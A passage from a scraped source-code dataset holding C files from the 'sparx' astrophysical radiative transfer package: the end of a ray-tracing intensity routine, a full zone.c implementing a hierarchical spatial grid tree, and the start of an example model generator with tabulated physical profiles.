0;\n\n\t\t\t\t\tif(!glb.cont && pp->has_tracer) {\n\t\t\t\t\t\t/* Calculate velocity line profile factor for this channel:\n\t\t\t\t\t\t * This version averages over the line profile in steps\n\t\t\t\t\t\t * of the local line width -- very time consuming! */\n\t\t\t\t\t\tvfac = SpPhys_GetVfac(&ray, t, dv, zp, 0);\n\n\t\t\t\t\t\t/* Calculate molecular line emission and absorption coefficients */\n\t\t\t\t\t\tSpPhys_GetMoljk((size_t)0, pp, glb.line, vfac, &j_nu, &k_nu);\n\t\t\t\t\t}\n\n\t\t\t\t\t/* Add continuum emission/absorption */\n\t\t\t\t\tj_nu += pp->cont[glb.line].j;\n\t\t\t\t\tk_nu += pp->cont[glb.line].k;\n\n\t\t\t\t\t/* Calculate source function and optical depth if\n\t\t\t\t\t * absorption is NOT zero */\n\t\t\t\t\tif(fabs(k_nu) > 0.0) {\n\t\t\t\t\t\tS_nu = j_nu / k_nu / glb.I_norm;\n\t\t\t\t\t\tdtau_nu = k_nu * t * Sp_LENFAC;\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\tS_nu = dtau_nu = 0.0;\n\t\t\t\t\t}\n\n\t\t\t\t\t/* Calculate intensity contributed by this step */\n\t\t\t\t\t//debug\n\t\t\t\t\t//I_nu[iv] += S_nu * (1.0 - exp(-dtau_nu)) * exp(-tau_nu[iv]);\n\t\t\t\t\tI_nu[iv] += (S_nu * (1.0 - exp(-dtau_nu)) + pp->cont[glb.line].I_bb) * exp(-tau_nu[iv]);\n\n\t\t\t\t\t/* Accumulate total optical depth for this channel (must be done\n\t\t\t\t\t * AFTER calculation of intensity!) */\n\t\t\t\t\ttau_nu[iv] += dtau_nu;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t/* Calculate next position */\n\t\t\tray = GeRay_Inc(&ray, t);\n\n\t\t\t/* Get next zone to traverse to */\n\t\t\tzp = Zone_GetNext(zp, side, &ray);\n\t\t}\n\t}\n\n\t/* Add CMB to all channels -- this is done even if the ray misses the source */\n\tfor(iv = 0; iv < glb.v.n; iv++)\n\t\tI_nu[iv] += glb.I_cmb * exp(-tau_nu[iv]);\n\n\treturn;\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.5280578136444092, "alphanum_fraction": 0.5383174419403076, "avg_line_length": 22.689218521118164, "blob_id": "1d959f8e46936a62507a25711d80d9209502ba96", "content_id": "c6b7c9e6169855323c7567445b902fe4cee8b28e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 11209, "license_type": "no_license", "max_line_length": 122, "num_lines": 473, "path": "/src/zone.c", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n#include <math.h>\n\n#include <gsl/gsl_interp.h>\n\n#include \"memory.h\"\n#include \"zone.h\"\n#include \"debug.h\"\n\n/*----------------------------------------------------------------------------*/\n\nZone *_Zone_Alloc(size_t pos, Zone *parent, void *(*DataAlloc)(const Zone *, const void *), const void *data_parms)\n{\n\tZone *zp = Mem_CALLOC(1, zp);\n\n\t/* level is parent's + 1, and -1 for root */\n\tif(!parent) {\n\t\t/* This is the root zone, level = -1 */\n\t\tzp->level = -1;\n\n\t\t/* Root zone is of course this zone */\n\t\tzp->root = zp;\n\t}\n\telse {\n\t\t/* Level of this zone is parent level + 1 */\n\t\tzp->level = parent->level + 1;\n\n\t\t/* Inherit root zone pointer from parent */\n\t\tzp->root = parent->root;\n\t}\n\n\t/* pos is relative to the parent->children array */\n\tzp->pos = pos;\n\n\t/* Parent node */\n\tzp->parent = parent;\n\n\t/* Allocate data if constructor is specified */\n\tif(DataAlloc)\n\t\tzp->data = DataAlloc(zp, data_parms);\n\n\n\treturn zp;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid Zone_Free(void *ptr, void (*DataFree)(void *ptr))\n{\n\tsize_t i;\n\tZone *zone = ptr;\n\n\tif(DataFree) {\n\t\tDeb_ASSERT(zone->data != NULL);\n\n\t\t/* Free data */\n\t\tDataFree(zone->data);\n\t}\n\n\tif(zone->children) {\n\t\t/* Free children */\n\t\tfor(i = 0; i < zone->nchildren; i++) {\n\t\t\tZone_Free(zone->children[i], DataFree);\n\t\t}\n\n\t\t/* Free pointer to cildren */\n\t\tfree(zone->children);\n\t}\n\n\tfree(zone);\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid Zone_Fprintf(FILE *fp, const Zone *zone, void (*DataFprintf)(void *data, FILE *fp))\n{\n\tsize_t nindent = (size_t)(4 * (zone->level + 1));\n\tsize_t i;\n\tDatINode *geom;\n\n\t#define PINDENT\\\n\t\t{for(i = 0; i < nindent; i++) fprintf(fp, \" \");}\n\n\tif(!zone->parent) {\n\t\tfprintf(fp, \"== ROOT Zone ==\\n\");\n\t}\n\telse {\n\t\tPINDENT; fprintf(fp, \"Zone[%lu] \", (unsigned long)zone->pos);\n\t\tGeVec3_PRINT(fp, zone->index);\n\t\tfprintf(fp, \"\\n\");\n\t}\n\tgeom = Dat_IList_IdxLookup(GEOM_TYPES, zone->voxel.geom);\n\tDeb_ASSERT(geom != NULL);\n\tPINDENT; fprintf(fp, \"Geometry: \"); fprintf(fp, \"%s\\n\", geom->name);\n\tPINDENT; fprintf(fp, \"Min: \"); GeVec3_PRINT(fp, zone->voxel.min); fprintf(fp, \"\\n\");\n\tPINDENT; fprintf(fp, \"Cen: \"); GeVec3_PRINT(fp, zone->voxel.cen); fprintf(fp, \"\\n\");\n\tPINDENT; fprintf(fp, \"Max: \"); GeVec3_PRINT(fp, zone->voxel.max); fprintf(fp, \"\\n\");\n\n\tif(DataFprintf) {\n\t\tPINDENT; fprintf(fp, \"Data: \");\n\t\tDataFprintf(zone->data, fp);\n\t}\n\n\tfprintf(fp, \"\\n\");\n\n\tif(zone->children) {\n\t\tPINDENT;\n\t\tfprintf(fp, \"=== L%d Grid \", zone->level + 1);\n\t\tGeVec3_PRINT(fp, zone->naxes);\n\t\tfprintf(fp, \"===\\n\");\n\n\t\tfor(i = 0; i < zone->nchildren; i++)\n\t\t\tZone_Fprintf(fp, zone->children[i], DataFprintf);\n\t}\n\n\t#undef PINDENT\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid Zone_GrowChildren(Zone *zone, GeVec3_s naxes, void *(*DataAlloc)(const Zone *, const void *), const void *data_parms)\n/* Grow 'children' from the current zone according\n to the number of divisions specified */\n{\n\tsize_t i;\n\n\t/* Calculate total number of children */\n\tzone->nchildren = naxes.x[0] * naxes.x[1] * naxes.x[2];\n\tDeb_ASSERT(zone->nchildren >= 1);\n\tzone->naxes = naxes;\n\n\t/* Allocate array of pointers for children */\n\tzone->children = Mem_CALLOC(zone->nchildren, zone->children);\n\n\t/* Loop through pointers and allocate each child */\n\tfor(i = 0; i < zone->nchildren; i++) {\n\t\t/* Allocate sub-zone */\n\t\tzone->children[i] = Zone_Alloc(i, zone, DataAlloc, data_parms);\n\n\t\t/* Set sub-zone index */\n\t\tzone->children[i]->index = Ge_IelemToIndex(i, &naxes);\n\n\t\t/* Set sub-zone voxel */\n\t\tZone_Set_child_voxel(zone, i);\n\t}\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid Zone_Set_child_voxel(Zone *zone, size_t pos)\n/* Calculated voxel according to parent zone */\n{\n\tZone *child = zone->children[pos];\n\n\tchild->voxel = GeVox_GetSubVox(&zone->voxel, &child->index, &zone->naxes);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nZone *Zone_GetMinLeaf(Zone *zone)\n{\n\tif(zone->children)\n\t\treturn Zone_GetMinLeaf(zone->children[0]);\n\telse\n\t\treturn zone;\n}\n\n/*----------------------------------------------------------------------------*/\n\nZone *Zone_GetMaxLeaf(Zone *zone)\n{\n\tif(zone->children)\n\t\treturn Zone_GetMaxLeaf(zone->children[zone->nchildren - 1]);\n\telse\n\t\treturn zone;\n}\n\n/*----------------------------------------------------------------------------*/\n\nZone *Zone_GetInner(Zone *zone)\n{\n\tZone *parent = zone->parent;\n\n\tif(parent) {\n\t\tif(zone->pos > 0) {\n\t\t\treturn Zone_GetMaxLeaf(parent->children[zone->pos - 1]);\n\t\t}\n\t\telse if(parent->parent) {\n\t\t\treturn Zone_GetInner(parent);\n\t\t}\n\t}\n\n\treturn NULL;\n}\n\n/*----------------------------------------------------------------------------*/\n\nZone *Zone_GetOuter(Zone *zone)\n{\n\tZone *parent = zone->parent;\n\n\tif(parent) {\n\t\tif(zone->pos < parent->nchildren - 1) {\n\t\t\treturn Zone_GetMinLeaf(parent->children[zone->pos + 1]);\n\t\t}\n\t\telse if(parent->parent) {\n\t\t\treturn Zone_GetOuter(parent);\n\t\t}\n\t}\n\n\treturn NULL;\n}\n\n/*----------------------------------------------------------------------------*/\n\nZone *Zone_AscendTree(Zone *zone)\n{\n\tZone *parent = zone->parent;\n\n\tif(parent) {\n\t\tif(zone->pos < parent->nchildren - 1)\n\t\t\treturn Zone_GetMinLeaf(parent->children[zone->pos + 1]);\n\t\telse\n\t\t\treturn parent;\n\t}\n\n\treturn NULL;\n}\n\n/*----------------------------------------------------------------------------*/\n\nZone *Zone_GetLeaf(Zone *zone, size_t side, const GeVec3_d *pt)\n{\n\tZone *leaf = NULL;\n\n\tswitch(zone->voxel.geom) {\n\t\tcase GEOM_SPH1D:\n\t\t\tleaf = Zone_GetLeaf_sph1d(zone, side);\n\t\t\tbreak;\n\n\t\tcase GEOM_REC3D:\n\t\t\tleaf = Zone_GetLeaf_rec3d(zone, side, pt);\n\t\t\tbreak;\n\n\t\tdefault: /* Shouldn't happen */\n\t\t\tDeb_ASSERT(0);\n\t}\n\n\treturn leaf;\n}\n\n/*----------------------------------------------------------------------------*/\n\nZone *Zone_GetLeaf_sph1d(Zone *zone, size_t side)\n/* Locate leaf zone nearest to side */\n{\n\tZone *leaf = 0;\n\n\tif(side == 0) { /* Entering from inner sphere */\n\t\tleaf = Zone_GetMinLeaf(zone);\n\t}\n\telse if(side == 1) { /* Entering from outer sphere */\n\t\tleaf = Zone_GetMaxLeaf(zone);\n\t}\n\telse { /* Shouldn't happen */\n\t\tDeb_ASSERT(0);\n\t}\n\n\treturn leaf;\n}\n\n/*----------------------------------------------------------------------------*/\n\nZone *Zone_GetLeaf_rec3d(Zone *zone, size_t side, const GeVec3_d *pt)\n/* Locate leaf zone on side containing pt */\n{\n\tsize_t i, j;\n\tGeVec3_s idx = GeVec3_INIT(0, 0, 0), pos = GeVec3_INIT(0, 0, 0);\n\tsize_t axis = side / 2, n;\n\tZone *child = 0;\n\tdouble *array;\n\n\t/* If zone does not have children, zone is the leaf */\n\tif(!zone->children)\n\t\treturn zone;\n\n\t/* Otherwise search for child containing pt */\n\tfor(i = 0; i < 3; i++) {\n\t\tn = GeVec3_X(zone->naxes, i);\n\n\t\tif(i == axis) {\n\t\t\t/* We already know the position on the driving axis -- this saves\n\t\t\t * some time */\n\t\t\tGeVec3_X(pos, i) = (side % 2 == 0) ? 0 : n - 1;\n\t\t}\n\t\telse {\n\t\t\t/* Allocate array for binary search and load coordinate boundaries */\n\t\t\tarray = Mem_CALLOC(n + 1, array);\n\n\t\t\t/* The Oth element should contain the lower bound */\n\t\t\tchild = Zone_CHILD(zone, idx);\n\t\t\tarray[0] = GeVec3_X(child->voxel.min, i);\n\n\t\t\t/* All other elements are upper bounds */\n\t\t\tfor(j = 0; j < n; j++) {\n\t\t\t\tGeVec3_X(idx, i) = j;\n\t\t\t\tchild = Zone_CHILD(zone, idx);\n\t\t\t\tarray[j + 1] = GeVec3_X(child->voxel.max, i);\n\t\t\t}\n\n\t\t\t/* Do a binary search -- there MUST always be a match */\n\t\t\tGeVec3_X(pos, i) = gsl_interp_bsearch(array, GeVec3_X(*pt, i), (size_t)0, n);\n\n\t\t\t/* Cleanup */\n\t\t\tfree(array);\n\t\t}\n\t}\n\n\t/* pos should be at the appropriate child zone by now, recursively descend to\n\t * leaf zone */\n\treturn Zone_GetLeaf_rec3d(Zone_CHILD(zone, pos), side, pt);\n}\n\n/*----------------------------------------------------------------------------*/\n\nZone *Zone_GetNext_sph1d(Zone *zone, size_t side)\n{\n\tZone *next = NULL;\n\n\tif(side == 0) { /* Going inward */\n\t\tnext = Zone_GetInner(zone);\n\t}\n\telse if(side == 1) { /* Going outward */\n\t\tnext = Zone_GetOuter(zone);\n\t}\n\telse { /* Shouldn't happen */\n\t\tDeb_ASSERT(0);\n\t}\n\n\treturn next;\n}\n\n/*----------------------------------------------------------------------------*/\n\nZone *Zone_GetNext_rec3d(Zone *zone, size_t side, const GeVec3_d *pt)\n/* Given face and point of intersection, locate next zone to enter */\n{\n\tsize_t axis = side / 2; /* driving axis */\n\tGeVec3_s idx = zone->index;\n\tZone *parent = zone->parent;\n\tint step, pos;\n\t\n\t/* step is the increment/decrement on the driving axis */\n\tstep = (side % 2 == 0) ? -1 : 1;\n\n\t/* pos is the anticipated position on the driving axis,\n\t * which could be off the grid */\n\tpos = (int)GeVec3_X(idx, axis) + step;\n\n\t/* Check for next-zones if not at root level */\n\tif(parent) {\n\t\tif((pos >= 0) && (pos < (int)GeVec3_X(parent->naxes, axis))) {\n\t\t\t/* If anticipated position is within current grid, descend\n\t\t\t * to leaf of child zone at pos */\n\t\t\tGeVec3_X(idx, axis) = (size_t)pos;\n\t\t\treturn Zone_GetLeaf_rec3d(Zone_CHILD(parent, idx), side % 2 == 0 ? side + 1 : side - 1, pt);\n\t\t}\n\t\telse {\n\t\t\t/* Edge of current level reached, go to parent level */\n\t\t\treturn Zone_GetNext_rec3d(parent, side, pt);\n\t\t}\n\t}\n\n\t/* Outermost zone reached, no next-zone */\n\treturn NULL;\n}\n\n/*----------------------------------------------------------------------------*/\n\nvoid Zone_Cpgplot(Zone *zone, GeCam *cam)\n{\n\tsize_t i;\n\n\t/* plot current zone */\n\tGeVox_Cpgplot(&zone->voxel, cam);\n\n\t/* plot children */\n\tfor(i = 0; i < zone->nchildren; i++)\n\t\tZone_Cpgplot(zone->children[i], cam);\n}\n\n/*----------------------------------------------------------------------------*/\n\nZone *Zone_GetNext(Zone *zone, size_t side, const GeRay *ray)\n{\n\tZone *next = NULL;\n\n\tswitch(zone->voxel.geom) {\n\t\tcase GEOM_SPH1D:\n\t\t\tnext = Zone_GetNext_sph1d(zone, side);\n\t\t\tbreak;\n\n\t\tcase GEOM_REC3D:\n\t\t\tnext = Zone_GetNext_rec3d(zone, side, &ray->e);\n\t\t\tbreak;\n\n\t\tdefault: /* Shouldn't happen */\n\t\t\tDeb_ASSERT(0);\n\t}\n\n\treturn next;\n}\n\n/* esc 09May06: Deprecate the following code */\n/*----------------------------------------------------------------------------*/\n\nsize_t Zone_Fwrite(const Zone *zone, size_t (*DataFwrite)(void *data, FILE *fp), FILE *fp)\n{\n\tsize_t i, nbytes = 0;\n\n\tnbytes += Mem_FWRITE(zone, 1, fp);\n\n\tif(DataFwrite) {\n\t\tnbytes += DataFwrite(zone->data, fp);\n\t}\n\n\tif(zone->nchildren > 0)\n\t\tDeb_ASSERT(zone->children != NULL);\n\n\tfor(i = 0; i < zone->nchildren; i++) {\n\t\tnbytes += Zone_Fwrite(zone->children[i], DataFwrite, fp);\n\t}\n\n\treturn nbytes;\n}\n\n/*----------------------------------------------------------------------------*/\n\nZone *Zone_Fread(void *(*DataAlloc)(const void *data_parms), const void *data_parms, \n\tsize_t (*DataFread)(void *data, FILE *fp), FILE *fp)\n{\n\tsize_t i;\n\tZone *zone;\n\n\tzone = Mem_CALLOC(1, zone);\n\tMem_FREAD(zone, 1, fp);\n\t\n\tif(zone->data) {\n\t\tDeb_ASSERT(DataFread != NULL);\n\n\t\tzone->data = DataAlloc(data_parms);\n\t\tDataFread(zone->data, fp);\n\t}\n\n\tif(zone->nchildren > 0) {\n\t\tzone->children = Mem_CALLOC(zone->nchildren, zone->children);\n\n\t\tfor(i = 0; i < zone->nchildren; i++) {\n\t\t\tzone->children[i] = Zone_Fread(DataAlloc, data_parms, DataFread, fp);\n\t\t\tzone->children[i]->parent = zone;\n\t\t}\n\t}\n\n\treturn zone;\n}\n\n\n\n\n" }, { "alpha_fraction": 0.2595500946044922, "alphanum_fraction": 0.6138241291046143, "avg_line_length": 49.900001525878906, "blob_id": "4ffd6991400953b8e19f5e8f49461920da265efc", "content_id": "63332a7f6d04c2d87bc2b14012d675ba35902e13", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 12225, "license_type": "no_license", "max_line_length": 299, "num_lines": 240, "path": "/src/sparx-task-example.c", "repo_name": "cinchurge/sparx", "src_encoding": "UTF-8", "text": "#include <gsl/gsl_interp.h>\n#include \"sparx.h\"\n\n/* Global parameter struct */\nstatic struct glb {\n\tint geom, pops;\n\tdouble xmol;\n\tSpModel model;\n\tSpFile *outf;\n} glb;\n\nstatic void Cleanup(void);\nstatic int GenModel(void);\n\n#define NZONE 16\n#define NLEV 21\n#define RMAX 1.196800E+15 /* m */\n#define TCMB 2.728 /* k */\n#define GAS2DUST 100.0\n\n/*----------------------------------------------------------------------------*/\n\nstatic void Cleanup(void)\n{\n\tSpModel_Cleanup(glb.model);\n\n\tif(glb.outf)\n\t\tSpIO_CloseFile(glb.outf);\n\n\treturn;\n}\n\n/*----------------------------------------------------------------------------*/\n\nint SpTask_Example(void)\n{\n\tint status = 0;\n\n\t/* Reset parameters */\n\tMem_BZERO(&glb);\n\n\t/* Process inputs */\n\tglb.xmol = SpInp_GetKey_dbl(\"xmol\");\n\tglb.geom = SpInp_GetKey_int(\"geom\");\n\tglb.model.parms.T_cmb = SpInp_GetKey_dbl(\"tcmb\");\n\tglb.model.parms.gas_to_dust = SpInp_GetKey_dbl(\"gas2dust\");\n\tglb.pops = SpInp_GetKey_int(\"pops\");\n\n\tif(!status && !(glb.outf = SpInp_GetKey_spfile(\"out\", Sp_NEW)))\n\t\tstatus = 1;\n\t\t\t\n\t/* Generate model */\n\tif(!status)\n\t\tstatus = GenModel();\n\n\t/* Write model to file */\n\tif(!status)\n\t\tstatus = SpIO_FwriteModel(glb.outf, glb.model);\n\n\tif(!status)\n\t\tSp_PRINT(\"Wrote example model to `%s'\\n\", glb.outf->name);\n\n\tCleanup();\n\n\treturn status;\n}\n\n/*----------------------------------------------------------------------------*/\n\nstatic double\n\t/* In meters */\n\tra[NZONE] = { 0.000000E+00, 1.027200E+13, 1.410600E+13, 1.937200E+13, 2.660300E+13, 3.653300E+13, 5.017000E+13, 6.889700E+13, 9.461500E+13, 1.299300E+14, 1.784300E+14, 2.450400E+14, 3.365000E+14, 4.621100E+14, 6.346100E+14, 8.714900E+14 },\n\trb[NZONE] = { 1.027200E+13, 1.410600E+13, 1.937200E+13, 2.660300E+13, 3.653300E+13, 5.017000E+13, 6.889700E+13, 9.461500E+13, 1.299300E+14, 1.784300E+14, 2.450400E+14, 3.365000E+14, 4.621100E+14, 6.346100E+14, 8.714900E+14, 1.196800E+15 },\n\t/* In cm^-3 */\n\tnh[NZONE] = { 0.000000E+00, 1.177500E+07, 7.316900E+06, 4.546600E+06, 2.825200E+06, 1.825000E+06, 1.184600E+06, 7.467600E+05, 4.979800E+05, 3.365300E+05, 2.298300E+05, 1.608800E+05, 1.144600E+05, 8.281800E+04, 6.013800E+04, 3.211900E+04 },\n\t/* In K */\n\ttk[NZONE] = { 1.155700E+02, 8.179100E+01, 7.204400E+01, 6.346000E+01, 5.589800E+01, 4.923700E+01, 4.337000E+01, 3.820200E+01, 3.365000E+01, 2.964000E+01, 2.610800E+01, 2.299700E+01, 2.025700E+01, 1.784300E+01, 1.571700E+01, 1.384400E+01 },\n\t/* In cm^-3 */\n\tnm[NZONE] = { 0.000000E+00, 2.355000E-02, 1.463400E-02, 9.093300E-03, 5.650500E-03, 3.649900E-03, 2.369200E-03, 1.493500E-03, 9.959700E-04, 6.730600E-04, 4.596700E-04, 3.217700E-04, 2.289200E-04, 1.656400E-04, 1.202800E-04, 6.423900E-05 },\n\t/* In km s^-1 */\n\tvr[NZONE] = { -4.069800E+00, -2.641800E+00, -2.254300E+00, -1.923700E+00, -1.641600E+00, -1.211100E+00, -9.889100E-01, -7.874800E-01, -6.246000E-01, -4.847600E-01, -3.615400E-01, -2.545500E-01, -1.616200E-01, -7.861900E-02, -1.309900E-03, 0.000000E+00 },\n\tdb[NZONE] = { 1.201200E-01, 1.201200E-01, 1.201200E-01, 1.201200E-01, 1.201200E-01, 1.201200E-01, 1.201200E-01, 1.201200E-01, 1.201200E-01, 1.201200E-01, 1.201200E-01, 1.201200E-01, 1.201200E-01, 1.201200E-01, 1.201200E-01, 1.201200E-01 },\n\t/* In K */\n\t//td[NZONE] = { 1.155700E+02, 8.179100E+01, 7.204400E+01, 6.346000E+01, 5.589800E+01, 4.923700E+01, 4.337000E+01, 3.820200E+01, 3.365000E+01, 2.964000E+01, 2.610800E+01, 2.299700E+01, 2.025700E+01, 1.784300E+01, 1.571700E+01, 1.384400E+01 },\n\t/* Fraction */\n\tlp[NZONE][NLEV] = {\n\t\t{ 0.000000E+00, 0.000000E+00, 0.000000E+00, 0.000000E+00, 0.000000E+00, 0.000000E+00, 0.000000E+00, 0.000000E+00, 0.000000E+00, 0.000000E+00, 0.000000E+00, 0.000000E+00, 0.000000E+00, 0.000000E+00, 0.000000E+00, 0.000000E+00, 0.000000E+00, 0.000000E+00, 0.000000E+00, 0.000000E+00, 0.000000E+00 },\n\t\t{ 2.885190E-02, 8.330146E-02, 1.271923E-01, 1.540454E-01, 1.607279E-01, 1.482958E-01, 1.208282E-01, 8.537473E-02, 5.064383E-02, 2.466711E-02, 1.019875E-02, 3.836174E-03, 1.360526E-03, 4.624391E-04, 1.485214E-04, 4.603741E-05, 1.366917E-05, 3.764840E-06, 1.060774E-06, 2.834690E-07, 4.463728E-08 },\n\t\t{ 3.290926E-02, 9.486093E-02, 1.428834E-01, 1.686648E-01, 1.697912E-01, 1.492601E-01, 1.132515E-01, 7.155140E-02, 3.584022E-02, 1.406519E-02, 4.737401E-03, 1.518959E-03, 4.705438E-04, 1.407043E-04, 3.976218E-05, 1.089223E-05, 2.879561E-06, 6.949589E-07, 1.742112E-07, 4.124663E-08, 5.630955E-09 },\n\t\t{ 3.804131E-02, 1.098033E-01, 1.631627E-01, 1.869208E-01, 1.792136E-01, 1.458854E-01, 9.783016E-02, 5.088956E-02, 1.969518E-02, 6.092346E-03, 1.769308E-03, 5.071978E-04, 1.400705E-04, 3.695553E-05, 9.187804E-06, 2.216759E-06, 5.184459E-07, 1.085263E-07, 2.371974E-08, 4.881794E-09, 5.618941E-10 },\n\t\t{ 4.425079E-02, 1.279979E-01, 1.862953E-01, 2.048445E-01, 1.838207E-01, 1.345220E-01, 7.583151E-02, 3.041626E-02, 8.904131E-03, 2.308918E-03, 6.041860E-04, 1.547374E-04, 3.784986E-05, 8.755418E-06, 1.902354E-06, 3.997424E-07, 8.165781E-08, 1.456430E-08, 2.707685E-09, 4.739667E-10, 4.501453E-11 },\n\t\t{ 5.107038E-02, 1.465504E-01, 2.067664E-01, 2.177695E-01, 1.829225E-01, 1.193223E-01, 5.468307E-02, 1.614115E-02, 3.663087E-03, 8.501670E-04, 2.026896E-04, 4.597093E-05, 9.872497E-06, 1.983079E-06, 3.720104E-07, 6.698178E-08, 1.173908E-08, 1.747915E-09, 2.697062E-10, 3.916525E-11, 3.005922E-12 },\n\t\t{ 5.940654E-02, 1.685350E-01, 2.288502E-01, 2.279816E-01, 1.750468E-01, 9.735379E-02, 3.384167E-02, 7.209124E-03, 1.397256E-03, 2.989947E-04, 6.367935E-05, 1.255557E-05, 2.330440E-06, 3.991936E-07, 6.359669E-08, 9.640065E-09, 1.418699E-09, 1.730030E-10, 2.158575E-11, 2.515968E-12, 1.529783E-13 },\n\t\t{ 6.930146E-02, 1.922629E-01, 2.501625E-01, 2.341505E-01, 1.609660E-01, 7.233311E-02, 1.750262E-02, 2.716315E-03, 4.878731E-04, 9.536260E-05, 1.777593E-05, 3.003222E-06, 4.738069E-07, 6.799994E-08, 9.014166E-09, 1.124034E-09, 1.352747E-10, 1.315563E-11, 1.287148E-12, 1.168339E-13, 5.437550E-15 },\n\t\t{ 8.072132E-02, 2.178408E-01, 2.704286E-01, 2.344427E-01, 1.396827E-01, 4.785842E-02, 7.820213E-03, 9.957106E-04, 1.738598E-04, 3.010193E-05, 4.809461E-06, 6.851042E-07, 9.006307E-08, 1.060595E-08, 1.142552E-09, 1.140391E-10, 1.087407E-11, 8.204722E-13, 6.100052E-14, 4.166880E-15, 1.441671E-16 },\n\t\t{ 9.289141E-02, 2.425415E-01, 2.878713E-01, 2.297622E-01, 1.153640E-01, 2.815173E-02, 2.998563E-03, 3.498574E-04, 5.924063E-05, 8.843666E-06, 1.187830E-06, 1.399021E-07, 1.497156E-08, 1.411062E-09, 1.201924E-10, 9.295740E-12, 6.782266E-13, 3.845489E-14, 2.094131E-15, 1.027743E-16, 2.101771E-18 },\n\t\t{ 1.061413E-01, 2.679053E-01, 3.019953E-01, 2.181149E-01, 8.938619E-02, 1.512923E-02, 1.176638E-03, 1.290256E-04, 1.943202E-05, 2.424144E-06, 2.659313E-07, 2.519938E-08, 2.137434E-09, 1.572083E-10, 1.027780E-11, 5.909443E-13, 3.179438E-14, 1.312100E-15, 4.892530E-17, 6.586714E-19, 1.000000E-30 },\n\t\t{ 1.209381E-01, 2.961111E-01, 3.142674E-01, 1.992051E-01, 6.225366E-02, 6.757148E-03, 4.157652E-04, 4.504037E-05, 5.910077E-06, 6.028210E-07, 5.259417E-08, 3.896125E-09, 2.542783E-10, 1.412250E-11, 6.836791E-13, 2.808762E-14, 1.065678E-15, 2.939588E-17, 1.000000E-30, 1.000000E-30, 1.000000E-30 },\n\t\t{ 1.375849E-01, 3.255934E-01, 3.207242E-01, 1.735486E-01, 3.956781E-02, 2.813999E-03, 1.501997E-04, 1.510369E-05, 1.658168E-06, 1.345771E-07, 9.056223E-09, 5.076060E-10, 2.464401E-11, 9.941304E-13, 3.417066E-14, 9.579559E-16, 2.367980E-17, 1.000000E-30, 1.000000E-30, 1.000000E-30, 1.000000E-30 },\n\t\t{ 1.596636E-01, 3.633808E-01, 3.197070E-01, 1.362249E-01, 2.006407E-02, 9.059228E-04, 4.863944E-05, 4.550882E-06, 4.111055E-07, 2.541727E-08, 1.284767E-09, 5.215416E-11, 1.830106E-12, 5.079548E-14, 1.177247E-15, 2.155812E-17, 4.085761E-19, 5.648188E-20, 4.393560E-20, 3.728379E-20, 3.194698E-20 },\n\t\t{ 1.922841E-01, 4.100132E-01, 3.003015E-01, 8.952025E-02, 7.603424E-03, 2.604980E-04, 1.569869E-05, 1.234651E-06, 8.786356E-08, 3.970082E-09, 1.439578E-10, 4.069789E-12, 9.930135E-14, 1.797040E-15, 2.666614E-17, 3.013204E-19, 5.819199E-21, 2.504336E-21, 2.089612E-21, 1.774715E-21, 1.520623E-21 },\n\t\t{ 2.628169E-01, 4.724182E-01, 2.274972E-01, 3.565728E-02, 1.555402E-03, 5.147937E-05, 3.242127E-06, 2.047948E-07, 1.108228E-08, 3.458759E-10, 8.409739E-12, 1.605258E-13, 2.620520E-15, 2.904156E-17, 1.000000E-30, 1.000000E-30, 1.000000E-30, 1.000000E-30, 1.000000E-30, 1.000000E-30, 1.000000E-30 },\n\t};\n\n/*----------------------------------------------------------------------------*/\n\nstatic int GenModel(void)\n{\n\tint status = 0;\n\tGeVec3_d min, max, pos;\n\tGeVec3_s ndiv;\n\tsize_t i, j;\n\tZone *grid, *zone;\n\tSpPhys *pp;\n\tdouble\n\t\tradius,\n\t\tlograd,\n\t\tlogdum,\n\t\tpercc = PHYS_UNIT_MKS_PERCC,\n\t\tkm = PHYS_UNIT_MKS_KM,\n\t\tpc = PHYS_UNIT_MKS_PC;\n\tstatic double logrb[NZONE], lognh[NZONE], logtk[NZONE], lognm[NZONE], loglp[NLEV][NZONE];\n\n\t/* Load hco+ molecule if pops requested */\n\tif(glb.pops) {\n\t\tglb.model.parms.mol = SpIO_FreadMolec(\"hco+\");\n\t\tassert(glb.model.parms.mol != NULL);\n\t}\n\n\tswitch(glb.geom) {\n\t\tcase GEOM_SPH1D:\n\t\t\t/* GEOM_SPH1D */\n\t\t\tmin = GeVec3_d_Init(0.0, 0.0, 0.0);\n\t\t\tmax = GeVec3_d_Init(RMAX/pc, 0.0, 0.0);\n\t\t\tndiv = GeVec3_s_Init((size_t)NZONE, (size_t)1, (size_t)1);\n\n\t\t\t/* Allocate grid */\n\t\t\tSpModel_InitGrid(&glb.model, GEOM_SPH1D, min, max, ndiv);\n\t\t\tgrid = glb.model.grid;\n\n\t\t\tfor(i = 0; i < NZONE; i++) {\n\t\t\t\tzone = Zone_CHILD2(grid, i, 0, 0);\n\t\t\t\tpp = zone->data;\n\n\t\t\t\t/* Reset voxel */\n\t\t\t\tzone->voxel = GeVox_Init(GEOM_SPH1D, ra[i]/pc, 0.0, 0.0, rb[i]/pc, PI, TWOPI);\n\n\t\t\t\t/* Set values */\n\t\t\t\tpp->n_H2 = nh[i] * percc; /* cm^-3 -> m^-3 */\n\t\t\t\tpp->X_mol = (nh[i] > 0 ? nm[i] / nh[i] : 0.0); /* fraction */\n\t\t\t\tpp->T_k = tk[i]; /* K */\n\t\t\t\tpp->V_t = db[i] * km; /* km/s -> m/s */\n\t\t\t\tGeVec3_X(pp->v_cen, 0) = vr[i] * km; /* km/s -> m/s */\n\n\t\t\t\tif(glb.pops) {\n\t\t\t\t\tfor(j = 0; j < NLEV; j++) {\n\t\t\t\t\t\tpp->pops[0][j] = lp[i][j]; /* fraction 